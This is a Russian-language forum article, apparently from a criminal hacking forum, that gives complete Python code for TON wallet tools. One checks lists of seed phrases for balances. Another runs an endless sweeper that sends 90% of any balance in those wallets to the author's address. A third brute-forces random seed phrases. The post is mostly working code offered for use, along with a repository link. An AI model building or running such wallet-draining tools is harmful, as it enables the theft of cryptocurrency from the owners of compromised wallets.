Чекер сид-фраз TON и постоянный автовывод с кошельков

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0

Предисловие​

Так как я начал изучение работы с блокчейном TON, я решил разработать несколько инструментов, которые могут быть полезны для участников форума. В этой статье будут представлены два программы: первая — чекер, проверяющий сид-фразы на валидность и наличие баланса, и вторая — программа для постоянного мониторинга балансов кошельков. Если на кошельке обнаруживается ненулевой баланс, программа будет автоматически производить вывод средств. Оба инструмента предназначены для работы с кошельками TON .

Как будет работать чекер сид-фраз:​

Для начала будут браться сид-фразы из txt.
Затем будет создаваться кошелек на основе сид-фразы.
После этого будет определяться баланс кошелька.
При проверке баланса будет несколько проверок, например, на случай, если баланс нулевой или сид-фраза невалидная.
После проверки кошельков результаты проверки будут выводиться в консоль и записываться в новый txt.

Как будет работать софт для автовывода.​

Будут браться сид-фразы из TXT файла.
Затем на их основе будут создаваться кошельки.
После этого будет проверка баланса на то, чтобы он не был нулевым.
Далее последует создание транзакции на сумму 90% от суммы на кошельке.
P.S. Весь этот софт будет работать в бесконечном цикле, так что программа будет бесконечно проверять баланс и выведет сообщение, если он будет пополнен на кошельках.

P.S.S. Все софты будут проверены только в тестовой сети из-за отсутствия TON. Основной библиотекой для реализации задумки будет tonutils, а API будет использоваться от tonconsole (TonapiClient) - https://tonconsole.com/.
Получить TON в тестовой сети можно в этом телеграм-боте - @testgiver_ton_bot.
Чтобы корректно выводить и пополнять кошельки, потребуется их активировать методом отправки TON друг другу (если для теста будут использованы новореги).
Чтобы узнать, активен ли кошелек, можете перейти по этой ссылке: https://testnet.tonapi.io/v2/accounts/адрес_кошелька. На открывшейся странице найдите ключ "status".

Чекер сид-фраз​

Первым будет реализован софт для проверки валидности и баланса, и сразу же нужно указать несколько переменных, в том числе не забыть указать API от tonconsole (TonapiClient).
Python: Скопировать в буфер обмена
Код:
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio

# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Файл с фразами
file_path = "seed_phrases.txt"
# Файл для сохранения результатов
output_file = "balance_results.txt"
# Файл для валидных кошельков
valid_seeds_file = "valid_seed.txt"

Далее последует основная логика; она обязательно должна находиться внутри асинхронной функции, т.к. вызываемые из библиотеки tonutils методы асинхронные, и вызвать их не в асинхронной функции не получится.
Python: Скопировать в буфер обмена
Код:
async def main() -> None:
   client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
   # Начальные значения переменных
   total_balance = 0  # Общий баланс
   wallets_with_balance = 0  # Кошельки с балансом больше нуля
   wallets_with_zero_balance = 0 # Кошельки с нулевым балансом
   failed_wallets = 0  # Кошельки с ошибками
Как видно из кода, первым делом инициализируется клиент TonAPI. Далее следуют переменные с нулевыми значениями; эти переменные нужны для того, чтобы в конце проверки сид-фраз создать статистику. Конструкция -> None здесь не обязательна, она нужна лишь для того, чтобы указать, что функция ничего не возвращает; в данном случае это просто улучшает читаемость кода.

Далее нужно открыть текстовый файл с сид-фразами и записать все сид-фразы в переменную.
Python: Скопировать в буфер обмена
Код:
with open(file_path, "r") as file:
   # Запись сид-фраз, по одной в строку
   seed_phrases = [line.strip().split() for line in file]

total_wallets = len(seed_phrases)  # Общее количество кошельков

Затем следует основная логика, которая заключается в создании кошелька из сид-фразы, проверке баланса и записи результатов в TXT.
Python: Скопировать в буфер обмена
Код:
# Открытие файлов для записи результатов
with open(output_file, "w") as outfile, open(valid_seeds_file, "w") as valid_file:
   # Обработка каждой сид-фразы
   for seed in seed_phrases:
       try:
           # Создание кошелька на основе сид-фразы
           wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed)
           # Проверка баланса
           balance = await wallet.balance()
           balance_amount = to_amount(balance)

           # Запись валидной сид-фразы в файл
           valid_file.write(" ".join(seed) + "\n")

           # Подсчет статистики
           total_balance += balance_amount
           if balance_amount > 0:
               wallets_with_balance += 1
           else:
               wallets_with_zero_balance += 1

           # Запись результата в файл
           outfile.write("======================\n")
           outfile.write(f"Сид-фраза: {' '.join(seed)}\n")
           outfile.write(f"Баланс: {balance_amount}\n")

           print(f"Баланс для сид-фразы {' '.join(seed)}: {balance_amount}")
       except KeyError as e:
           failed_wallets += 1
           print(f"Ошибка при получении баланса для сид-фразы {' '.join(seed)}: {e}")
       except Exception as e:
           failed_wallets += 1
           print(f"Неизвестная ошибка для сид-фразы {' '.join(seed)}: {e}")


# Вывод общей статистики
print("\n======== Общая статистика ========")
print(f"Общее количество кошельков: {total_wallets}")
print(f"Общий баланс: {total_balance}")
print(f"Кошельков с балансом > 0: {wallets_with_balance}")
print(f"Кошельков с балансом 0: {wallets_with_zero_balance}")
print(f"Не удалось проверить: {failed_wallets}")


if __name__ == "__main__":
   asyncio.run(main())
В самом начале открываются два текстовых файла: в один записываются общие результаты с валидными кошельками и суммами на них, а во второй записываются только сид-фразы, успешно прошедшие проверку, без всякой лишней информации. Это сделано для того, чтобы в дальнейшем во втором софте использовать TXT только с рабочими кошельками без прочего мусора.

С софтом проверки на валидность и баланс закончено. Вот как выглядит результат:
1730469270114.png


1730469288040.png


1730469306150.png


P.S. Отображение баланса без отображения сид-фразы связано с тем, что у кошелька статус неактивный. Статус можно проверить по этой ссылке: https://testnet.tonapi.io/v2/accounts/кошелек. На открывшейся странице найдите ключ "status".

Автовывод​

Теперь можно приступать к написанию второй программы. Первым делом также будут созданы несколько необходимых переменных.
Python: Скопировать в буфер обмена
Код:
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio

# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Адрес получателя
destination_address = ""
# Путь к файлу с сид-фразами
file_path = "valid_seed.txt"

В данном проекте будет две функции. Первая функция будет инициализировать клиент, читать сид-фразы из текстового файла и запускать вторую функцию.
Python: Скопировать в буфер обмена
Код:
async def main():
   client = TonapiClient(api_key=api_key, is_testnet=is_testnet)

   while True:
       # Чтение сид-фраз из файла
       with open(file_path, "r") as file:
           seed_phrases = [line.strip().split() for line in file]

       # Проверка и перевод для каждого кошелька
       for seed_phrase in seed_phrases:
           await check_and_transfer(client, seed_phrase)

       await asyncio.sleep(1)  # Пауза между проверками
Как видно из кода, вызывается функция check_and_transfer с передачей в нее сид-фразы. Теперь нужно написать логику этой вызываемой функции.

Python: Скопировать в буфер обмена
Код:
async def check_and_transfer(client, seed_phrase):
   retries = 3  # Количество попыток
   for attempt in range(retries):
       try:
           # Создание кошелька на основе мнемонической фразы
           wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)
           # Проверка баланса
           balance = await wallet.balance()
           balance_amount = to_amount(balance)

           # Проверка, если баланс больше 0, выполнить перевод
           if balance_amount > 0:
               transfer_amount = balance_amount * 0.9  # 90% от баланса
               # Создание транзакции и запись возвращенного хэша транзакции
               tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
               print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
           else:
               print(f"Баланс на кошельке: {balance_amount} TON")
           break  # Завершение цикла при успешной транзакции

       except Exception as e:
           print(f"Ошибка для кошелька с сид-фразой {' '.join(seed_phrase)}: {e}")
           if attempt < retries - 1:
               print(f"Повторная попытка {attempt + 1} через 1 секунду...")
               await asyncio.sleep(1)  # Пауза перед следующей попыткой
           else:
               print("Все попытки исчерпаны. Переход к следующему кошельку.")
Хочу отметить, что повторная попытка проверки кошелька нужна, потому что у используемого API есть ограничение в 1 запрос в секунду, и API довольно часто отклоняет запросы. Другого решения данной проблеме я не нашел, разве что создать несколько ключей API с разных аккаунтов и чередовать их.

Также хотел разъяснить, как работает создание транзакции. Вызывается метод transfer из библиотеки tonutils, в который передаются такие параметры, как адрес для отправки, сумма и комментарий. В ответ от этого метода приходит хэш транзакции. Дело в том, что даже если транзакция отменена, метод отправит сообщение об удачной отправке транзакции, поэтому нужно добавить проверку на то, что транзакция действительно прошла успешно. Для этого нужно получить информацию о транзакциях на кошельке, куда отправляются деньги, и проверить самую последнюю транзакцию на ключ "success"; этот флаг должен находиться в true. Чтобы получить информацию о транзакциях, нужно воспользоваться этим адресом API: testnet.tonapi.io/v2/blockchain/accounts/адрес_кошелька/transactions.

Итак, первое, что будет сделано, — это новая функция для проверки транзакций.
Python: Скопировать в буфер обмена
Код:
async def check_transaction_confirmation():
   retries = 5
   url = f"https://testnet.tonapi.io/v2/blockchain/accounts/{destination_address}/transactions"

   async with aiohttp.ClientSession() as session:
       for attempt in range(retries):
           async with session.get(url) as response:
               if response.status == 200:
                   data = await response.json()
                   first_transaction = data.get("transactions", [{}])[0]
                   # Проверка подтверждения первой транзакции
                   if first_transaction.get("success", False):
                       return True  # Транзакция подтверждена
                   else:
                       print(f"Попытка {attempt + 1}: транзакция не подтверждена, повтор через 1 секунду.")
                       await asyncio.sleep(1)  # Пауза перед повторной проверкой

   return False  # Если после пяти попыток транзакция не подтвердилась
Хочу отметить пару моментов. Получение ответа от API находится внутри цикла for, т.к. если вынести за цикл, то, если транзакция не подтверждена, повторно будет браться тот же ответ от API, в итоге данные будут устаревшими. Также повторные попытки были добавлены для того, чтобы транзакция успела подтвердиться.

Теперь эту функцию нужно вызвать после отправки транзакции внутри функции check_and_transfer.
Python: Скопировать в буфер обмена
Код:
transfer_amount = balance_amount * 0.9  # 90% от баланса
# Создание транзакции и запись возвращенного хэша транзакции
tx_hash = await wallet.transfer(destination=destination_address, amount=transfer_amount, body="test",)
print(f"Переведено {transfer_amount} TON! Транзакция: {tx_hash}")
await asyncio.sleep(5)
# Проверка подтверждения транзакции
confirmed = await check_transaction_confirmation()
if confirmed:
   print("Транзакция подтверждена.")
else:
   print("Транзакция не подтверждена.")
Пауза в 5 секунд была установлена для того, чтобы транзакция в принципе появилась в списке, т.к. по моим наблюдениям она появляется в среднем через 3–5 секунд.

Вот результаты работы данного софта:
1730469554630.png


1730469569521.png


1730469583964.png


Как видно, после каждой оплаты сумма действительно изменялась, это может означать только то, что автовывод работает и баланс действительно переводился.

На этом софт для проверки баланса по сид-фразе и софт для автовывода завершены.

Генерация сид-фраз и поиск кошельков с балансом​

Также хочу просто показать скрипт, генерирующий сид-фразы, а затем кошельки из них и проверку их баланса. Эдакое казино практически с нулевым шансом выигрыша (данный софт мне напоминает Jingleminer, с таким же минимальным шансом, но все же не с нулевым).
Python: Скопировать в буфер обмена
Код:
import asyncio
import random
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1

# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
file_path = "bip39.txt"
output_file = "results.txt"


async def check_balance_from_random_seed():
   client = TonapiClient(api_key=api_key, is_testnet=is_testnet)

   # Чтение всех слов из текстового файла
   with open(file_path, 'r') as file:
       word_list = file.read().split()

   while True:
       try:
           # Генерация сид-фразы из 24 слов
           seed_phrase = ' '.join(random.sample(word_list, 24))

           # Создание кошелька на основе сид-фразы
           wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed_phrase)

           # Попытка проверки баланса
           balance = await wallet.balance()
           balance_amount = to_amount(balance)
           print(f"Баланс для сид-фразы '{seed_phrase}': {balance_amount} TON")

       except Exception as e:
           # В случае ошибки баланс = None
           balance_amount = None
           print(f"Ошибка: {e}. Пропуск и продолжение.")

       # Запись данных в файл
       with open(output_file, 'a') as f:
           f.write(f"Сид-фраза: {seed_phrase}\n")
           f.write(f"Адрес кошелька: {wallet.address}\n")
           f.write(f"Баланс: {balance_amount if balance_amount is not None else 'не удалось проверить'}\n\n")

       await asyncio.sleep(1)

asyncio.run(check_balance_from_random_seed())
При генерации случайных кошельков из сид-фраз и проверке баланса может возникать ошибка 404. Это связано с тем, что пустые кошельки без переводов и с неактивным статусом не отображаются в данном API (tonconsole). Если кошелек активен, такой ошибки не будет. Также, даже если возникает ошибка 404, сгенерированный кошелек все равно записывается в текстовый файл вместе со своей сид-фразой.

Вывод​

Думаю, на этом статья подходит к своему концу. Она получилась достаточно простой, но мне кажется, что не бесполезной. Я старался создать софты, которые могут быть полезны пользователям этого форума. Конечно, софты не сказать, чтобы быстрые, но из-за использования API с ограничением в 1 запрос в секунду быстрее сделать не получится. Если у вас есть идеи о том, как улучшить производительность данного софта, с удовольствием прочитаю об этом в комментариях.

Ссылка на статью в виде документа - https://docs.google.com/document/d/1HdprSTc5M-5PrJomawSpCHZ3VyUMktQ3ZIW2bbvBiZQ/edit?usp=sharing

Также, если хотите протестировать данные софты в тестовой сети или уже на практике, то предоставляю вам ссылку на GitHub репозиторий - https://github.com/overlordgamedev/Checker-seed-phrase-TON

Сделано OverlordGameDev специально для форума XSS.IS
 
Сверху Снизу